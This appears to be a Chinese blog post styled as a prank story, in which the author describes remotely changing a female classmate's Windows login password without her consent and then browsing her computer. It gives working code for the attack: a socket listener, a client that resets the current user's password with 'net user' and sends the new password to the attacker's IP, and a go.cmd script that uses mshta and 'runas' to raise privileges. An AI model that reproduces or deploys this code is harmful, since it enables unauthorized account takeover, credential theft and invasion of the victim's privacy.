Python还能这么玩之用Python修改了班花的开机密码


Posted in Python onJune 04, 2021

一、前言

Python还能这么玩之用Python修改了班花的开机密码

班花加我说她电话坏了让我看看,那肯定义不容辞!【兴奋了半个小时】没别的我就想秀一下技术!五分钟后我修好了,电脑重启之后显示输入密码,当时没多想直接走了。回去之后我能不能用技术远程解析一下这个开机密码呢,说干就干。

Python还能这么玩之用Python修改了班花的开机密码

二、工具准备

开发环境:win10、python3.7
开发工具:pycharm

三、项目思路解析

一想到远程,就想到创建连接,一想到创建链接,就想到socket套接字(一想到套接字,就联想到我没有女朋)

Python还能这么玩之用Python修改了班花的开机密码

该项目代码为3份(记住自己拿的是服务端的代码,客服端代码和go.cmd是发给别人的)

首先正常流程创建服务端的服务

服务端流程:

  • 创建套接字
  • -绑定ip和端口
  • -设置监听
  • -等待链接
  • -接受数据打印数据
  • -关闭链接
import socket  # 导入socket
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket
server.bind(('192.168.246.1', 44444))  # 绑定IP/端口
server.listen(5)  # 监听
print('***********等待连接*********')
conn, addr = server.accept()  # 连接
print(conn) 
print('客户端的地址:', addr)
client_msg = conn.recv(1024)
print('客户端修改的密码是: %s' % client_msg)
conn.close()
server.close()

windows的修改电脑密码的命令:net User 用户名 修改的密码(可以自己动手试一下)

Python还能这么玩之用Python修改了班花的开机密码

客户端流程:

  • 创建套接字
  • -连接服务端的IP和端口
  • -获取当前使用的电脑账户名
  • -生成随机的电脑密码
  • -在终端执行修改Windows密码的指令
  • -发送修改之后的密码
  • -关闭套接字
import socket  # 导入用到的模块
import getpass
import subprocess
import random

client = socket.socket(socket.AF_INET, socket.SOCK_STREAM) # 创建socket实例
client.connect((ip, 端口))  # 连接server端IP地址/端口按你自己实际情况来
user = getpass.getuser()  # 获取计算机用户名
print(user)
psd = ''
for j in range(1, 9): # 生成1-9的随机数
    m = str(random.randrange(0, 10))
    psd = psd + m

subprocess.Popen(['net', 'User', user, psd])  # 在本地执行(类似于cmd命令)
client.send(psd.encode('utf-8'))  # 将密码发送给server端
back_msg = client.recv(1024)
client.close()  # 关闭socket

到这一步基本就可以自己去尝试了,但是要注意,当前代码只能修改权限是admin的账户。

Python还能这么玩之用Python修改了班花的开机密码

非admin用户需要提高自己的执行权限
直接使用超级管理员权限执行cmd文件
go.cmd

@echo off
%1 mshta vbscript:CreateObject("Shell.Application").ShellExecute("cmd.exe","/c %~s0 ::","","runas",1)(window.close)&&exit
cd /d "%~dp0"

start python client.py

四、小结

最后我修改密码成功登陆,竟然发现了她的密码!

Python还能这么玩之用Python修改了班花的开机密码

这铁憨憨C盘满了都不知道清理,一看就是不太懂电脑的亚子!班花那么好看竟然不太懂电脑,真是惊人的发现哩!

PS:最后我啥都没动改回去了!

到此这篇关于Python还能这么玩之用Python修改了班花的开机密码的文章就介绍到这了,更多相关Python修改密码内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

Python 相关文章推荐
python中关于日期时间处理的问答集锦
Mar 08 Python
python33 urllib2使用方法细节讲解
Dec 03 Python
利用python模拟sql语句对员工表格进行增删改查
Jul 05 Python
利用python3随机生成中文字符的实现方法
Nov 24 Python
python自动查询12306余票并发送邮箱提醒脚本
May 21 Python
python 实现敏感词过滤的方法
Jan 21 Python
python实现点击按钮修改数据的方法
Jul 17 Python
详解python tkinter模块安装过程
Jan 06 Python
Python列表倒序输出及其效率详解
Mar 04 Python
Python魔术方法专题
Jun 19 Python
Python根据URL地址下载文件并保存至对应目录的实现
Nov 15 Python
解决pytorch 的state_dict()拷贝问题
Mar 03 Python
Anaconda安装pytorch及配置PyCharm 2021环境
python如何利用cv2模块读取显示保存图片
Jun 04 #Python
Python实现socket库网络通信套接字
Jun 04 #Python
python cv2图像质量压缩的算法示例
Jun 04 #Python
高考要来啦!用Python爬取历年高考数据并分析
单身狗福利?Python爬取某婚恋网征婚数据
告别网页搜索!教你用python实现一款属于自己的翻译词典软件
You might like
php使用百度翻译api示例分享
2014/01/31 PHP
ThinkPHP之foreach标签使用概述
2014/06/30 PHP
我见过最全的个人js加解密功能页面
2007/12/12 Javascript
ExtJS 2.0 GridPanel基本表格简明教程
2010/05/25 Javascript
jQuery建立一个按字母顺序排列的友好页面索引(兼容IE6/7/8)
2013/02/26 Javascript
今天是星期几的4种JS代码写法
2013/09/17 Javascript
js中reverse函数的用法详解
2013/12/26 Javascript
js下将阿拉伯数字每三位一逗号分隔(如:15000000转化为15,000,000)
2014/06/02 Javascript
jquery中ready()函数执行的时机和window的load事件比较
2015/06/22 Javascript
jQuery实现的经典竖向伸缩菜单效果代码
2015/09/24 Javascript
极力推荐10个短小实用的JavaScript代码段
2016/08/03 Javascript
React-router中结合webpack实现按需加载实例
2017/05/25 Javascript
详解Vue中一种简易路由传参办法
2017/09/15 Javascript
利用JQUERY实现多个AJAX请求等待的实例
2017/12/14 jQuery
iSlider手机端图片滑动切换插件使用详解
2019/12/24 Javascript
vue实现PC端分辨率适配操作
2020/08/03 Javascript
Javascript 模拟mvc实现点餐程序案例详解
2020/12/24 Javascript
Python中的文件和目录操作实现代码
2011/03/13 Python
tensorflow 获取模型所有参数总和数量的方法
2018/06/14 Python
python的pygal模块绘制反正切函数图像方法
2019/07/16 Python
Mac安装python3的方法步骤
2019/08/09 Python
python实现代码统计程序
2019/09/19 Python
python实现可下载音乐的音乐播放器
2020/02/25 Python
mac 上配置Pycharm连接远程服务器并实现使用远程服务器Python解释器的方法
2020/03/19 Python
突袭HTML5之Javascript API扩展4—拖拽(Drag/Drop)概述
2013/01/31 HTML / CSS
施华洛世奇英国官网:SWAROVSKI英国
2017/03/13 全球购物
暑假实习求职信范文
2013/09/22 职场文书
互联网创业计划书写作技巧攻略
2014/03/23 职场文书
计算机网络专业自荐书
2014/06/09 职场文书
演讲稿的格式及范文
2014/08/22 职场文书
大学生暑期社会实践证明范本
2014/10/24 职场文书
2014年团支书工作总结
2014/11/14 职场文书
创业计划书之暑假培训班
2019/11/09 职场文书
python实战之用emoji表情生成文字
2021/05/08 Python
详解Oracle块修改跟踪功能
2021/11/07 Oracle
Mysql忘记密码解决方法
2022/02/12 MySQL